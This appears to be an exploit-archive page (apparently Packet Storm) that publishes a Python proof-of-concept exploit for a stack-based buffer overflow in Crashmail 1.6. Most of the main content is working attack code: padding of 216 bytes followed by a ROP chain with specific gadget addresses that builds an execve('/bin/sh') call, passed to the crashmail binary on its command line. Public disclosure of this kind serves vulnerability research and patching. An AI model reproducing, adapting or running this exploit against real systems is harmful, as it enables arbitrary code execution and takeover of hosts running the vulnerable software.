Twenty Year Anniversary

Crashmail 1.6 Buffer Overflow

Crashmail 1.6 Buffer Overflow
Posted Mar 20, 2018
Authored by Juan Sacco

Crashmail version 1.6 suffers from a buffer overflow vulnerability.

tags | exploit, overflow
MD5 | 67108b1d2db46a902d2cb0412d654c26

Crashmail 1.6 Buffer Overflow

Change Mirror Download
# Exploit author: Juan Sacco <jsacco@exploitpack.com>
# Website: http://exploitpack.com
#
# Description: Crashmail is prone to a stack-based buffer overflow
because the application fails to perform adequate boundary checks on
user supplied input.
# Impact: An attacker could exploit this vulnerability to execute
arbitrary code in the context of the application. Failed exploit
attempts may result in a denial-of-service condition.
# Vendor homepage: http://ftnapps.sourceforge.net/crashmail.html
# Affected version: 1.6 ( Latest )

import os, subprocess
from struct import pack

p = lambda x : pack('I', x)
IMAGE_BASE_0 = 0x08048000 # ./crashmail
rebase_0 = lambda x : p(x + IMAGE_BASE_0)

# Control of EIP at 216
# ROP chain: execve ( binsh )
# Static-linked
junk = 'A'*216 # Fill
ropchain = rebase_0(0x0002ecdf) # 0x08076cdf: pop eax; ret;
ropchain += '//bi'
ropchain += rebase_0(0x000705aa) # 0x080b85aa: pop edx; ret;
ropchain += rebase_0(0x000e9060)
ropchain += rebase_0(0x0002b42d) # 0x0807342d: mov dword ptr [edx], eax; ret;
ropchain += rebase_0(0x0002ecdf) # 0x08076cdf: pop eax; ret;
ropchain += 'n/sh'
ropchain += rebase_0(0x000705aa) # 0x080b85aa: pop edx; ret;
ropchain += rebase_0(0x000e9064)
ropchain += rebase_0(0x0002b42d) # 0x0807342d: mov dword ptr [edx], eax; ret;
ropchain += rebase_0(0x000391a0) # 0x080811a0: xor eax, eax; ret;
ropchain += rebase_0(0x000705aa) # 0x080b85aa: pop edx; ret;
ropchain += rebase_0(0x000e9068)
ropchain += rebase_0(0x0002b42d) # 0x0807342d: mov dword ptr [edx], eax; ret;
ropchain += rebase_0(0x000001f9) # 0x080481f9: pop ebx; ret;
ropchain += rebase_0(0x000e9060)
ropchain += rebase_0(0x000e0e80) # 0x08128e80: pop ecx; push cs; adc
al, 0x41; ret;
ropchain += rebase_0(0x000e9068)
ropchain += rebase_0(0x000705aa) # 0x080b85aaop edx; ret;
ropchain += rebase_0(0x000e9068)
ropchain += rebase_0(0x0002ecdf) # 0x08076cdf: pop eax; ret;
ropchain += p(0xfffffff5)
ropchain += rebase_0(0x00051dc7) # 0x08099dc7: neg eax; ret;
ropchain += rebase_0(0x00070e80) # 0x080b8e80: int 0x80; ret;
evil_buffer = junk + ropchain

print "[*] Exploit Pack http://exploitpack.com - Author: jsacco@exploitpack.com"
print "[*] Crashmail 1.6 - BoF ( ROP execve)"
print "[?] Payload can be read trough a file or STDIN"

try:
subprocess.call(["./crashmail","SETTINGS", evil_buffer])
except OSError as e:
if e.errno == os.errno.ENOENT:
print "[!] Crashmail not found"
else:
print "[*] Error executing exploit"
raise

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

Want To Donate?


Bitcoin: 18PFeCVLwpmaBuQqd5xAYZ8bZdvbyEWMmU

File Archive:

June 2018

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jun 1st
    14 Files
  • 2
    Jun 2nd
    1 Files
  • 3
    Jun 3rd
    3 Files
  • 4
    Jun 4th
    18 Files
  • 5
    Jun 5th
    21 Files
  • 6
    Jun 6th
    8 Files
  • 7
    Jun 7th
    16 Files
  • 8
    Jun 8th
    18 Files
  • 9
    Jun 9th
    5 Files
  • 10
    Jun 10th
    2 Files
  • 11
    Jun 11th
    21 Files
  • 12
    Jun 12th
    32 Files
  • 13
    Jun 13th
    15 Files
  • 14
    Jun 14th
    16 Files
  • 15
    Jun 15th
    4 Files
  • 16
    Jun 16th
    1 Files
  • 17
    Jun 17th
    2 Files
  • 18
    Jun 18th
    15 Files
  • 19
    Jun 19th
    15 Files
  • 20
    Jun 20th
    15 Files
  • 21
    Jun 21st
    15 Files
  • 22
    Jun 22nd
    7 Files
  • 23
    Jun 23rd
    2 Files
  • 24
    Jun 24th
    1 Files
  • 25
    Jun 25th
    0 Files
  • 26
    Jun 26th
    0 Files
  • 27
    Jun 27th
    0 Files
  • 28
    Jun 28th
    0 Files
  • 29
    Jun 29th
    0 Files
  • 30
    Jun 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2018 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close